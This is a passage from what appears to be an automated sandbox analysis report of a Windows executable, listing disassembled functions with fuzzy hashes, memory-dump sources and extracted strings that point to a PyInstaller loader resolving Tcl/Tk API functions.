Opcode Fuzzy Hash: b05403af9c31de739a9311cbf741df56ce5de8bb6a66a9cc9bcf40cf40427d0b
Instruction Fuzzy Hash: 09D1B332E0865786EB78EE25855027D27A0FB49B8CF145235EE2D876E5EF3DE841C780

Function 00007FF6FB1E8B20 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6de572fc7ea0867e481f021e98a3cee959a95ba6dd1d6718a656c0f39a4e480
Instruction ID: bb6318eade59400a03c3f57b4cd4f9b0c83cb2ee7bed656787fec3c0f966d440
Opcode Fuzzy Hash: b6de572fc7ea0867e481f021e98a3cee959a95ba6dd1d6718a656c0f39a4e480
Instruction Fuzzy Hash: EFC1AE726142F24FD289EB29E4695BA73E1F79830DBD4402AEB8747FC5CA3CA414D790

Function 00007FF6FB1F1F30 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54646038064d7a6353eabae39e6447674b1691c16f4822fec46df2a19c6da082
Instruction ID: 3347d0aac9943767dd3f499272287ebc2bb2a1c446a27ab3f70d0b640e606901
Opcode Fuzzy Hash: 54646038064d7a6353eabae39e6447674b1691c16f4822fec46df2a19c6da082
Instruction Fuzzy Hash: C4B16A72A08B8685E765DF29C05423C3BA0E749B4CF280135EB6E873E5EF39D851C795

Function 00007FF6FB1FD880 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5cf27518f3756e107451e616d5c43acfc5497bdc9406be32d6656a2e3ee85f8
Instruction ID: 9234e63d3a26116fd54151b0599d280e5f74aec7cf036e69418c83459bd626e6
Opcode Fuzzy Hash: c5cf27518f3756e107451e616d5c43acfc5497bdc9406be32d6656a2e3ee85f8
Instruction Fuzzy Hash: BF81A272F0C68646E774CF29944037A6691FB8A7D8F144235DAAD83BE9EE3DD540CB40

Function 00007FF6FB205728 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c784b8d4a055adf8560f3681b96f10fe234dcf2bfc90e734f7112d08b46dadd
Instruction ID: a0cb36abf8b3366352c43b7ef4a9e7cff368397812cce18889cbec9463478555
Opcode Fuzzy Hash: 1c784b8d4a055adf8560f3681b96f10fe234dcf2bfc90e734f7112d08b46dadd
Instruction Fuzzy Hash: B461F522E0C28746FB64CA2885A463D7681AF497F0F145A39DA7DC6AF1FE7DE840C700

Function 00007FF6FB1F0C64 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 7f92172d1c9833e09b4247c4b61100c3547be7627dd171daa59a45069b000f64
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 60514176E18A5286E724CF29C04823927A1EB59B6CF244131CE6DD77E5EF3AE853C740

Function 00007FF6FB1F1484 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 396fd18c00bfea675f526f2136b9d4a47aa9c99689b6cf636bcfa70b86f54d10
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 94515176E1865386F724CB29C04422837A0EB5AB6CF284135DA5D977F4EF7AE862C740

Function 00007FF6FB1F1074 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: b76cb370c470fc96ded75504d93db2112d2cecd612c9ddfca2986411f05b1b73
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: F9516F76E18A5382F724CB29C04522833A1EB49B6CF244135CE6D977E4EF7AE863C740

Function 00007FF6FB1F0A60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 493b0c6267a4f75bcfc85133cf270babf3ae36e099b9106e2ef8fddf9555a985
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 69517376E1965286E724CF29C05823937A1EB48B9CF284131CE5D977E9EF3AE843C740

Function 00007FF6FB1F1280 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 4bec9240e6e48f19c8dbb77c22a1efad53b44db0f42e6a0218366711aca1ea38
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: 4F515F76E1865286F725CB29C04023867A1EB89B6CF244131CE5D977F8EF3AE963C740

Function 00007FF6FB1F0E70 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: fea6e6b165e5be6268620b8559e7bfae76e1d73c87cc4df6d75ef11e40598d7b
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: C7516C36E18A9286E724CF29C05863C27A2EB48B5CF254131DE5D977E5EF3AEC52C740

Function 00007FF6FB1F5040 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 1c29553e26cb077fc62d840b994082de3f4889bcc78c5aa25b32f90bf85bcb21
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: B041A352D4D78B84EB95C91805346B82A80AF2ABACD6852B4DDBDD33E7ED0D7987C240

Function 00007FF6FB1F91B0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 8d7eb27f456b44a91f9c68f162ea9965681a4a0d7ad24d9c24e3bfc258020ebf
Instruction ID: e888a8199714cb3c932029ec4587c1acaff8f4785362eed63bd30ef97c2fd031
Opcode Fuzzy Hash: 8d7eb27f456b44a91f9c68f162ea9965681a4a0d7ad24d9c24e3bfc258020ebf
Instruction Fuzzy Hash: 1F41C262B14A5682EF48DF2ADA1417973A5FB8CFD4B099436DE1DD7BA8EE3DD0418300

Function 00007FF6FB1F73F4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47bd74fb6a019277da3c6b3819bfc69269ba7720235d09fb044e88388ffaf66
Instruction ID: ae8ad5c97bb5464c5e266cba4ba9e64af3d46362b7ea698ca6aa30f4ee6d02e6
Opcode Fuzzy Hash: d47bd74fb6a019277da3c6b3819bfc69269ba7720235d09fb044e88388ffaf66
Instruction Fuzzy Hash: CF318032F19B8341E724DB25648013E7A95AB88B94F144238EAAD93BE5EF7CD012C704

Function 00007FF6FB208880 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45f31a2a70b9ba878c3a12fffa6905b3575b51dadbfc3a0cbe7f45b87496cea
Instruction ID: 648b8d712d351e1a6074162570167708ac3d486c305072b3993aeb98fe60fb98
Opcode Fuzzy Hash: b45f31a2a70b9ba878c3a12fffa6905b3575b51dadbfc3a0cbe7f45b87496cea
Instruction Fuzzy Hash: 6BF068717286968EEB948F29A50263977D0F70C3C0F80D039F59DC3B54DA7C90508F04

Function 00007FF6FB1EC62C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
Instruction ID: 7c3e44c70bb5d2cc4f23ce742997cf9f11ac162c274fc72e2286782315153f7e
Opcode Fuzzy Hash: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
Instruction Fuzzy Hash: A4A00125918827D4EB588B04A9A413A6621BB58744B402031D02EC19F0AF2CA8018310

Function 00007FF6FB1E6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6FB1E6EB7
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6EFD
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F22
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F47
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F6F
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F97
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6FBF
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6FE7
GetProcAddress.KERNEL32 ref: 00007FF6FB1E700F

Strings

Tcl_DeleteInterp, xrefs: 00007FF6FB1E6FB5, 00007FF6FB1E6FD1
Tcl_GetCurrentThread, xrefs: 00007FF6FB1E7005, 00007FF6FB1E7021
Tcl_GetVar2, xrefs: 00007FF6FB1E7195, 00007FF6FB1E71B1
Tcl_ThreadQueueEvent, xrefs: 00007FF6FB1E7145, 00007FF6FB1E7161
Tcl_ConditionWait, xrefs: 00007FF6FB1E711D, 00007FF6FB1E7139
Tcl_CreateThread, xrefs: 00007FF6FB1E6FDD, 00007FF6FB1E6FF9
Tcl_GetString, xrefs: 00007FF6FB1E720D, 00007FF6FB1E7229
Tcl_FinalizeThread, xrefs: 00007FF6FB1E6F8D, 00007FF6FB1E6FA9
Tcl_Finalize, xrefs: 00007FF6FB1E6F65, 00007FF6FB1E6F81
Tk_Init, xrefs: 00007FF6FB1E739D, 00007FF6FB1E73B9
Tcl_EvalEx, xrefs: 00007FF6FB1E72FD, 00007FF6FB1E7319
Tcl_GetObjResult, xrefs: 00007FF6FB1E72AD, 00007FF6FB1E72C9
Tcl_Alloc, xrefs: 00007FF6FB1E734D, 00007FF6FB1E7369
Tcl_Free, xrefs: 00007FF6FB1E7375, 00007FF6FB1E7391
Tcl_MutexUnlock, xrefs: 00007FF6FB1E707D, 00007FF6FB1E7099
Tcl_MutexLock, xrefs: 00007FF6FB1E7055, 00007FF6FB1E7071
Tcl_DoOneEvent, xrefs: 00007FF6FB1E6F3D, 00007FF6FB1E6F59
Tcl_SetVar2, xrefs: 00007FF6FB1E71BD, 00007FF6FB1E71D9
Tcl_ThreadAlert, xrefs: 00007FF6FB1E716D, 00007FF6FB1E7189
Tcl_NewStringObj, xrefs: 00007FF6FB1E7235, 00007FF6FB1E7251
Tcl_MutexFinalize, xrefs: 00007FF6FB1E70A5, 00007FF6FB1E70C1
Tcl_ConditionNotify, xrefs: 00007FF6FB1E70F5, 00007FF6FB1E7111
Failed to get address for %hs, xrefs: 00007FF6FB1E6ED0
GetProcAddress, xrefs: 00007FF6FB1E6ED7
Tcl_FindExecutable, xrefs: 00007FF6FB1E6F18, 00007FF6FB1E6F34
Tcl_SetVar2Ex, xrefs: 00007FF6FB1E7285, 00007FF6FB1E72A1
Tcl_CreateInterp, xrefs: 00007FF6FB1E6EF3, 00007FF6FB1E6F0F
Tcl_Init, xrefs: 00007FF6FB1E6EB0, 00007FF6FB1E6EC9
Tcl_EvalObjv, xrefs: 00007FF6FB1E7325, 00007FF6FB1E7341
Tk_GetNumMainWindows, xrefs: 00007FF6FB1E73C5, 00007FF6FB1E73E1
Tcl_CreateObjCommand, xrefs: 00007FF6FB1E71E5, 00007FF6FB1E7201
Tcl_NewByteArrayObj, xrefs: 00007FF6FB1E725D, 00007FF6FB1E7279
Tcl_JoinThread, xrefs: 00007FF6FB1E702D, 00007FF6FB1E7049
Tcl_ConditionFinalize, xrefs: 00007FF6FB1E70CD, 00007FF6FB1E70E9
Tcl_EvalFile, xrefs: 00007FF6FB1E72D5, 00007FF6FB1E72F1

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-3427451314
Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction ID: 2ea597ca4e0d9f415ebdc688b2cc56dbad77a80652fe467aaab850adfbfd1a4a
Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction Fuzzy Hash: 20E17268E1AB4395FB55DB14AAA41B863A5AF1C7D4F946436C83EC26F4FF3CB5488300

Function 00007FF6FB1E77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6FB1E7C97,?,?,FFFFFFFF,00007FF6FB1E3834), ref: 00007FF6FB1E782C

Part of subcall function 00007FF6FB1E26C0: MessageBoxW.USER32 ref: 00007FF6FB1E2736

Strings

LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6FB1E789D
\, xrefs: 00007FF6FB1E7861
CreateDirectory, xrefs: 00007FF6FB1E7974
%.*s, xrefs: 00007FF6FB1E790C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6FB1E78D9
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6FB1E7803
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6FB1E796D
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6FB1E7840

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
Instruction ID: 2a2c100b0747b2f2dabfa6ddf9d6b2e70d0fd2179999a184dedd6c9b8e97e886
Opcode Fuzzy Hash: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
